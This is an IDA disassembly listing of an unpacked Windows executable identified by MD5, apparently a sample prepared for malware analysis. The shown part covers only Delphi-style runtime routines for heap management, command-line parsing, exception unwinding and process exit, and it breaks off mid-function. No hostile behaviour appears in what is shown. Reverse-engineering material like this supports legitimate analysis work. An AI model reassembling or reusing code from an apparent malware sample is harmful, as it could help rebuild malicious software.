;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	C2CE5F8AD0DD533A8C015EA68B60DA01

; File Name   :	u:\work\c2ce5f8ad0dd533a8c015ea68b60da01_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004000 (  16384.)
; Section size in file		: 00003200 (  12800.)
; Offset to raw	data for section: 00000400
; Flags	60000020: Text Executable Readable
; Alignment	: default

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapAlloc. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION HeapReAlloc. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION HeapFree.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA.	PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+"	TO EXPAND]
		align 4


loc_401058:				; DATA XREF: sub_40158Co
		jmp	ds:RaiseException
; ---------------------------------------------------------------------------
		align 10h


loc_401060:				; DATA XREF: sub_40158C+Ao
		jmp	ds:RtlUnwind
; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION CharNextA. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD	"+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS	KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401080	proc near		; CODE XREF: sub_4010D0+4p
					; sub_401100+3Fp
					; DATA XREF: ...
		push	eax		; dwBytes
		mov	eax, ds:dwFlags
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapAlloc
		retn
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401094	proc near		; CODE XREF: sub_4010E8+4p
					; sub_401100+26p
					; DATA XREF: ...
		push	ebx
		mov	ebx, eax
		push	ebx		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 1
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapFree
		cmp	eax, 1
		sbb	eax, eax
		neg	eax
		and	eax, 7Fh
		pop	ebx
		retn
sub_401094	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010B8	proc near		; CODE XREF: sub_401100+Dp
					; DATA XREF: DATA:off_405034o
		push	edx		; dwBytes
		push	eax		; lpMem
		mov	eax, ds:dwFlags
		and	eax, 0
		push	eax		; dwFlags
		mov	eax, ds:hHeap
		push	eax		; hHeap
		call	HeapReAlloc
		retn
sub_4010B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4010D0	proc near		; CODE XREF: sub_401778+Cp
		test	eax, eax
		jz	short locret_4010DE
		call	ds:off_40502C
		or	eax, eax
		jz	short loc_4010DF

locret_4010DE:				; CODE XREF: sub_4010D0+2j
		retn
; ---------------------------------------------------------------------------


loc_4010DF:				; CODE XREF: sub_4010D0+Cj
		mov	al, 1
		jmp	loc_4011A8
sub_4010D0	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010E8	proc near		; CODE XREF: sub_4016E0+1Bp
					; sub_401704+20p ...
		test	eax, eax
		jz	short locret_4010F6
		call	ds:off_405030
		or	eax, eax
		jnz	short loc_4010F7

locret_4010F6:				; CODE XREF: sub_4010E8+2j
		retn
; ---------------------------------------------------------------------------


loc_4010F7:				; CODE XREF: sub_4010E8+Cj
		mov	al, 2
		jmp	loc_4011A8
sub_4010E8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401100	proc near		; CODE XREF: sub_401A20+22p

; FUNCTION CHUNK AT 004011A8 SIZE 0000000B BYTES

		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_401138
		test	edx, edx
		jz	short loc_401122
		push	eax
		mov	eax, ecx
		call	ds:off_405034
		pop	ecx
		or	eax, eax
		jz	short loc_401131
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_40111B:				; CODE XREF: sub_401100+2Ej
		mov	al, 2
		jmp	loc_4011A8
; ---------------------------------------------------------------------------


loc_401122:				; CODE XREF: sub_401100+8j
		mov	[eax], edx
		mov	eax, ecx
		call	ds:off_405030
		or	eax, eax
		jnz	short loc_40111B
		retn
; ---------------------------------------------------------------------------


loc_401131:				; CODE XREF: sub_401100+16j
					; sub_401100+48j
		mov	al, 1
		jmp	loc_4011A8
; ---------------------------------------------------------------------------


loc_401138:				; CODE XREF: sub_401100+4j
		test	edx, edx
		jz	short locret_40114C
		push	eax
		mov	eax, edx
		call	ds:off_40502C
		pop	ecx
		or	eax, eax
		jz	short loc_401131
		mov	[ecx], eax

locret_40114C:				; CODE XREF: sub_401100+3Aj
		retn
sub_401100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_401150	proc near		; CODE XREF: sub_40115C+42p
		mov	ds:dword_405004, edx
		call	sub_4016C8
sub_401150	endp

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40115C	proc near		; CODE XREF: sub_401100+AEj
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		and	bl, 7Fh
		cmp	ds:dword_406004, 0
		jz	short loc_401178
		mov	edx, esi
		mov	eax, ebx
		call	ds:dword_406004


loc_401178:				; CODE XREF: sub_40115C+10j
		test	bl, bl
		jnz	short loc_401189
		call	sub_401BD0
		mov	ebx, [eax+0]
		jmp	short loc_401198
; ---------------------------------------------------------------------------


loc_401189:				; CODE XREF: sub_40115C+1Ej
		cmp	bl, 18h
		ja	short loc_401198
		xor	eax, eax
		mov	al, bl
		mov	bl, ds:byte_405038[eax]


loc_401198:				; CODE XREF: sub_40115C+2Bj
					; sub_40115C+30j
		xor	eax, eax
		mov	al, bl
		mov	edx, esi
		call	sub_401150
sub_40115C	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_401100


loc_4011A8:				; CODE XREF: sub_4010D0+11j
					; sub_4010E8+11j ...
		and	eax, 7Fh
		mov	edx, [esp+0]
		jmp	sub_40115C
; END OF FUNCTION CHUNK	FOR sub_401100
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4011B4	proc near		; CODE XREF: sub_4013C0+14p
					; sub_401734+1Bp ...
		cmp	ecx, 4
		jge	short loc_4011D5
		jcxz	locret_401213
		cmp	eax, edx
		jz	short locret_401213
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		ja	short loc_4011D1
		lea	esi, [ecx+esi-1]
		lea	edi, [ecx+edi-1]
		std


loc_4011D1:				; CODE XREF: sub_4011B4+12j
		rep movsb
		jmp	short loc_401201
; ---------------------------------------------------------------------------


loc_4011D5:				; CODE XREF: sub_4011B4+3j
		cmp	eax, edx
		jz	short locret_401213
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		mov	eax, ecx
		ja	short loc_401203
		and	ecx, 3
		lea	esi, [eax+esi-1]
		lea	edi, [eax+edi-1]
		std
		rep movsb
		sar	eax, 2
		mov	ecx, eax
		mov	eax, 3
		sub	esi, eax
		sub	edi, eax
		rep movsd


loc_401201:				; CODE XREF: sub_4011B4+1Fj
		cld
		dec	ecx


loc_401203:				; CODE XREF: sub_4011B4+2Dj
		sar	ecx, 2
		js	short loc_401211
		rep movsd
		and	eax, 3
		mov	ecx, eax
		rep movsb


loc_401211:				; CODE XREF: sub_4011B4+52j
		pop	edi
		pop	esi

locret_401213:				; CODE XREF: sub_4011B4+5j
					; sub_4011B4+Aj ...
		retn
sub_4011B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401214	proc near		; CODE XREF: sub_401300+1Fp
					; sub_401300+2Bp ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		jmp	short loc_401226
; ---------------------------------------------------------------------------


loc_40121E:				; CODE XREF: sub_401214+1Aj
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax


loc_401226:				; CODE XREF: sub_401214+8j
					; sub_401214+2Aj
		mov	al, [ebx]
		test	al, al
		jz	short loc_401230
		cmp	al, 20h
		jbe	short loc_40121E


loc_401230:				; CODE XREF: sub_401214+16j
		cmp	byte ptr [ebx],	22h
		jnz	short loc_401240
		cmp	byte ptr [ebx+1], 22h
		jnz	short loc_401240
		add	ebx, 2
		jmp	short loc_401226
; ---------------------------------------------------------------------------


loc_401240:				; CODE XREF: sub_401214+1Fj
					; sub_401214+25j
		xor	ebp, ebp
		mov	edi, ebx
		jmp	short loc_401289
; ---------------------------------------------------------------------------


loc_401246:				; CODE XREF: sub_401214+79j
		cmp	al, 22h
		jnz	short loc_40127B
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_401262
; ---------------------------------------------------------------------------


loc_401254:				; CODE XREF: sub_401214+56j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401262:				; CODE XREF: sub_401214+3Ej
		mov	al, [ebx]
		test	al, al
		jz	short loc_40126C
		cmp	al, 22h
		jnz	short loc_401254


loc_40126C:				; CODE XREF: sub_401214+52j
		cmp	byte ptr [ebx],	0
		jz	short loc_401289
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_401289
; ---------------------------------------------------------------------------


loc_40127B:				; CODE XREF: sub_401214+34j
		push	ebx		; lpsz
		call	CharNextA
		mov	edx, eax
		sub	edx, ebx
		add	ebp, edx
		mov	ebx, eax


loc_401289:				; CODE XREF: sub_401214+30j
					; sub_401214+5Bj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_401246
		mov	eax, esi
		mov	edx, ebp
		call	sub_401A20
		mov	ebx, edi
		mov	edi, [esi]
		xor	esi, esi
		jmp	short loc_4012F1
; ---------------------------------------------------------------------------


loc_4012A0:				; CODE XREF: sub_401214+E1j
		cmp	al, 22h
		jnz	short loc_4012DC
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_4012C3
; ---------------------------------------------------------------------------


loc_4012AE:				; CODE XREF: sub_401214+B7j
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_4012C3


loc_4012B8:				; CODE XREF: sub_401214+ADj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_4012B8


loc_4012C3:				; CODE XREF: sub_401214+98j
					; sub_401214+A2j
		mov	al, [ebx]
		test	al, al
		jz	short loc_4012CD
		cmp	al, 22h
		jnz	short loc_4012AE


loc_4012CD:				; CODE XREF: sub_401214+B3j
		cmp	byte ptr [ebx],	0
		jz	short loc_4012F1
		push	ebx		; lpsz
		call	CharNextA
		mov	ebx, eax
		jmp	short loc_4012F1
; ---------------------------------------------------------------------------


loc_4012DC:				; CODE XREF: sub_401214+8Ej
		push	ebx		; lpsz
		call	CharNextA
		cmp	eax, ebx
		jbe	short loc_4012F1


loc_4012E6:				; CODE XREF: sub_401214+DBj
		mov	dl, [ebx]
		mov	[edi+esi], dl
		inc	ebx
		inc	esi
		cmp	eax, ebx
		ja	short loc_4012E6


loc_4012F1:				; CODE XREF: sub_401214+8Aj
					; sub_401214+BCj ...
		mov	al, [ebx]
		cmp	al, 20h
		ja	short loc_4012A0
		mov	eax, ebx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401214	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401300	proc near		; CODE XREF: sub_403EB5+A5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004014B0 SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	0
		push	ebx
		push	esi
		xor	eax, eax
		push	ebp
		push	offset loc_401351
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	esi, esi
		call	GetCommandLineA
		lea	edx, [ebp+var_4]
		call	sub_401214
		mov	ebx, eax


loc_401326:				; CODE XREF: sub_401300+39j
		lea	edx, [ebp+var_4]
		mov	eax, ebx
		call	sub_401214
		mov	ebx, eax
		cmp	[ebp+var_4], 0
		jz	short loc_40133B
		inc	esi
		jmp	short loc_401326
; ---------------------------------------------------------------------------


loc_40133B:				; CODE XREF: sub_401300+36j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401358


loc_401348:				; CODE XREF: sub_401300+56j
		lea	eax, [ebp+var_4]
		call	sub_4016E0
		retn
; ---------------------------------------------------------------------------


loc_401351:				; DATA XREF: sub_401300+Ao
		jmp	loc_4014B0
; ---------------------------------------------------------------------------
		jmp	short loc_401348
; ---------------------------------------------------------------------------


loc_401358:				; CODE XREF: sub_401300+50j
					; DATA XREF: sub_401300+43o
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn
sub_401300	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401360	proc near		; CODE XREF: sub_403990+A5p
					; sub_403EB5+CEp ...

Filename	= byte ptr -114h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFEF8h
		mov	ebx, edx
		mov	esi, eax
		mov	eax, ebx
		call	sub_4016E0
		test	esi, esi
		jnz	short loc_401396
		push	105h		; nSize
		lea	eax, [esp+118h+Filename]
		push	eax		; lpFilename
		push	0		; hModule
		call	GetModuleFileNameA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, ebx
		call	sub_4017A4
		jmp	short loc_4013B4
; ---------------------------------------------------------------------------


loc_401396:				; CODE XREF: sub_401360+16j
		call	GetCommandLineA
		mov	edi, eax


loc_40139D:				; CODE XREF: sub_401360+52j
		mov	edx, ebx
		mov	eax, edi
		call	sub_401214
		mov	edi, eax
		test	esi, esi
		jz	short loc_4013B4
		cmp	dword ptr [ebx], 0
		jz	short loc_4013B4
		dec	esi
		jmp	short loc_40139D
; ---------------------------------------------------------------------------


loc_4013B4:				; CODE XREF: sub_401360+34j
					; sub_401360+4Aj ...
		add	esp, 108h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401360	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4013C0	proc near		; CODE XREF: sub_403650+28p
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_4013C9
		mov	ecx, ebx


loc_4013C9:				; CODE XREF: sub_4013C0+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_4011B4
		pop	ebx
		retn
sub_4013C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013DC	proc near		; CODE XREF: sub_401E0C+7Ep
					; sub_401FF4+235p ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_4013F9
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_4013F9:				; CODE XREF: sub_4013DC+12j
		pop	edi
		retn
sub_4013DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013FC	proc near		; CODE XREF: sub_40145C+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_401413:				; CODE XREF: sub_4013FC+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_401413
		test	esi, esi
		jge	short loc_40142B
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_40142B:				; CODE XREF: sub_4013FC+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_40143F
		mov	ecx, 0FFh


loc_40143F:				; CODE XREF: sub_4013FC+3Cj
		sub	ecx, ebx
		jle	short loc_40144A
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_40144A:				; CODE XREF: sub_4013FC+45j
					; sub_4013FC+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_40144A
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013FC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40145C	proc near		; CODE XREF: sub_403650+18p
		mov	ecx, edx
		xor	edx, edx
		call	sub_4013FC
		retn
sub_40145C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401468	proc near		; CODE XREF: sub_401488+Cp
		test	ecx, ecx
		jz	short locret_401485
		mov	eax, [ecx+1]
		cmp	byte ptr [ecx],	0E9h
		jz	short loc_401480
		cmp	byte ptr [ecx],	0EBh
		jnz	short locret_401485
		movsx	eax, al
		inc	ecx
		inc	ecx
		jmp	short loc_401483
; ---------------------------------------------------------------------------


loc_401480:				; CODE XREF: sub_401468+Aj
		add	ecx, 5


loc_401483:				; CODE XREF: sub_401468+16j
		add	ecx, eax

locret_401485:				; CODE XREF: sub_401468+2j
					; sub_401468+Fj
		retn
sub_401468	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401488	proc near		; CODE XREF: sub_401300+1D5p
		cmp	ds:byte_405008,	1
		jbe	short locret_4014AE
		push	eax
		push	edx
		push	ecx
		call	sub_401468
		push	ecx
		push	esp
		push	1
		push	0
		push	0EEDFAE1h
		call	ds:dword_406008
		pop	ecx
		pop	ecx
		pop	edx
		pop	eax

locret_4014AE:				; CODE XREF: sub_401488+7j
		retn
sub_401488	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_401300


loc_4014B0:				; CODE XREF: sub_401300:loc_401351j
					; CODE:loc_401B3Cj ...
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_4]
		test	dword ptr [eax+4], 6
		jz	short loc_4014E0
		mov	ecx, [edx+4]
		mov	dword ptr [edx+4], offset loc_4014E0
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, [edx+8]
		add	ecx, 5
		call	sub_401488
		call	ecx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx


loc_4014E0:				; CODE XREF: sub_401300+1BFj
					; DATA XREF: sub_401300+1C4o
		mov	eax, 1
		retn
; END OF FUNCTION CHUNK	FOR sub_401300
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4014E8	proc near		; CODE XREF: sub_4015F8:loc_401646p
					; DATA XREF: DATA:off_40501Co
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, offset dword_40602C
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_401516
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		test	ebx, ebx
		jle	short loc_401516


loc_401502:				; CODE XREF: sub_4014E8+2Cj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_401512
		mov	ebp, eax
		call	ebp


loc_401512:				; CODE XREF: sub_4014E8+24j
		test	ebx, ebx
		jg	short loc_401502


loc_401516:				; CODE XREF: sub_4014E8+Ej
					; sub_4014E8+18j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4014E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40151C	proc near		; CODE XREF: sub_40151C+43p
					; sub_401570+12p
					; DATA XREF: ...
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	ebp, edx
		mov	esi, eax
		mov	eax, offset sub_40151C
		cmp	eax, ds:off_405018
		setz	bl
		cmp	edi, ebp
		jle	short loc_40156B


loc_401538:				; CODE XREF: sub_40151C+4Dj
		mov	eax, [esi+ebp*8]
		inc	ebp
		mov	ds:dword_406038, ebp
		test	eax, eax
		jz	short loc_401548
		call	eax


loc_401548:				; CODE XREF: sub_40151C+28j
		test	bl, bl
		jz	short loc_401567
		mov	eax, offset sub_40151C
		cmp	eax, ds:off_405018
		jz	short loc_401567
		mov	ecx, edi
		mov	edx, ebp
		mov	eax, esi
		call	ds:off_405018
		jmp	short loc_40156B
; ---------------------------------------------------------------------------


loc_401567:				; CODE XREF: sub_40151C+2Ej
					; sub_40151C+3Bj
		cmp	edi, ebp
		jg	short loc_401538


loc_40156B:				; CODE XREF: sub_40151C+1Aj
					; sub_40151C+49j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40151C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401570	proc near		; CODE XREF: sub_40158C+35p
		mov	eax, ds:dword_406034
		test	eax, eax
		jz	short locret_401588
		mov	edx, [eax]
		xor	ecx, ecx
		mov	eax, [eax+4]
		xchg	ecx, edx
		call	ds:off_405018

locret_401588:				; CODE XREF: sub_401570+7j
		retn
sub_401570	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40158C	proc near		; CODE XREF: sub_401C1C+3Ap
		mov	ds:dword_406008, offset	loc_401058
		mov	ds:dword_40600C, offset	loc_401060
		mov	ds:dword_406034, eax
		xor	eax, eax
		mov	ds:dword_406038, eax
		mov	ds:dword_40603C, edx
		mov	eax, [edx+4]
		mov	ds:dword_406014, eax
		mov	ds:byte_40601C,	0
		call	sub_401570
		retn
sub_40158C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_4015F8+96p
		xor	eax, eax
		xchg	eax, ds:dword_405000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_40602C
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_4015C8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4015F8	proc near		; CODE XREF: sub_4016C8+5p
					; sub_403EB5:loc_404096p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_40602C
		mov	esi, offset dword_405000
		mov	edi, offset dword_406020
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_401627
		cmp	dword ptr [edi], 0
		jz	short loc_401627


loc_401616:				; CODE XREF: sub_4015F8+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_401616


loc_401627:				; CODE XREF: sub_4015F8+17j
					; sub_4015F8+1Cj
		cmp	ds:dword_405004, 0
		jz	short loc_401636
		call	ds:off_405054


loc_401636:				; CODE XREF: sub_4015F8+36j
					; sub_4015F8+C6j
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_401646
		cmp	dword ptr [esi], 0
		jnz	short loc_401646
		xor	eax, eax
		mov	[ebx+0Ch], eax


loc_401646:				; CODE XREF: sub_4015F8+42j
					; sub_4015F8+47j
		call	ds:off_40501C
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_401657
		cmp	dword ptr [esi], 0
		jz	short loc_401679


loc_401657:				; CODE XREF: sub_4015F8+58j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_401679
		call	ds:off_405014
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_401679
		test	eax, eax
		jz	short loc_401679
		push	eax		; hLibModule
		call	FreeLibrary


loc_401679:				; CODE XREF: sub_4015F8+5Dj
					; sub_4015F8+64j ...
		call	ds:off_405020
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_401688
		call	dword ptr [ebx+24h]


loc_401688:				; CODE XREF: sub_4015F8+8Bj
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_401693
		call	sub_4015C8


loc_401693:				; CODE XREF: sub_4015F8+94j
		cmp	dword ptr [ebx], 0
		jnz	short loc_4016AF
		cmp	ds:dword_406010, 0
		jz	short loc_4016A7
		call	ds:dword_406010


loc_4016A7:				; CODE XREF: sub_4015F8+A7j
		mov	eax, [esi]
		push	eax		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_4016AF:				; CODE XREF: sub_4015F8+9Ej
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_401636
sub_4015F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4016C8	proc near		; CODE XREF: sub_401150+6p
					; sub_4016D4+6j
		mov	ds:dword_405000, eax
		call	sub_4015F8
sub_4016C8	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4016D4	proc near		; CODE XREF: sub_401B8C+1Ap
					; sub_401B8C+2Fp
		pop	ds:dword_405004
		jmp	sub_4016C8
sub_4016D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4016E0	proc near		; CODE XREF: sub_401300+4Bp
					; sub_401360+Fp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_401701
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_401701
		dec	dword ptr [edx-8]
		jnz	short locret_401701
		push	eax
		lea	eax, [edx-8]
		call	sub_4010E8
		pop	eax

locret_401701:				; CODE XREF: sub_4016E0+4j
					; sub_4016E0+10j ...
		retn
sub_4016E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401704	proc near		; CODE XREF: sub_401FF4+49Dp
					; sub_401FF4+4AAp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx


loc_40170A:				; CODE XREF: sub_401704+29j
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_401729
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_401729
		dec	dword ptr [edx-8]
		jnz	short loc_401729
		lea	eax, [edx-8]
		call	sub_4010E8


loc_401729:				; CODE XREF: sub_401704+Aj
					; sub_401704+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_40170A
		pop	esi
		pop	ebx
		retn
sub_401704	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401734	proc near		; CODE XREF: sub_401810+8j
					; sub_401854:loc_4018C5p ...
		test	edx, edx
		jz	short loc_40175B
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_401758
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_401778
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_4011B4
		pop	edx
		pop	eax
		jmp	short loc_40175B
; ---------------------------------------------------------------------------


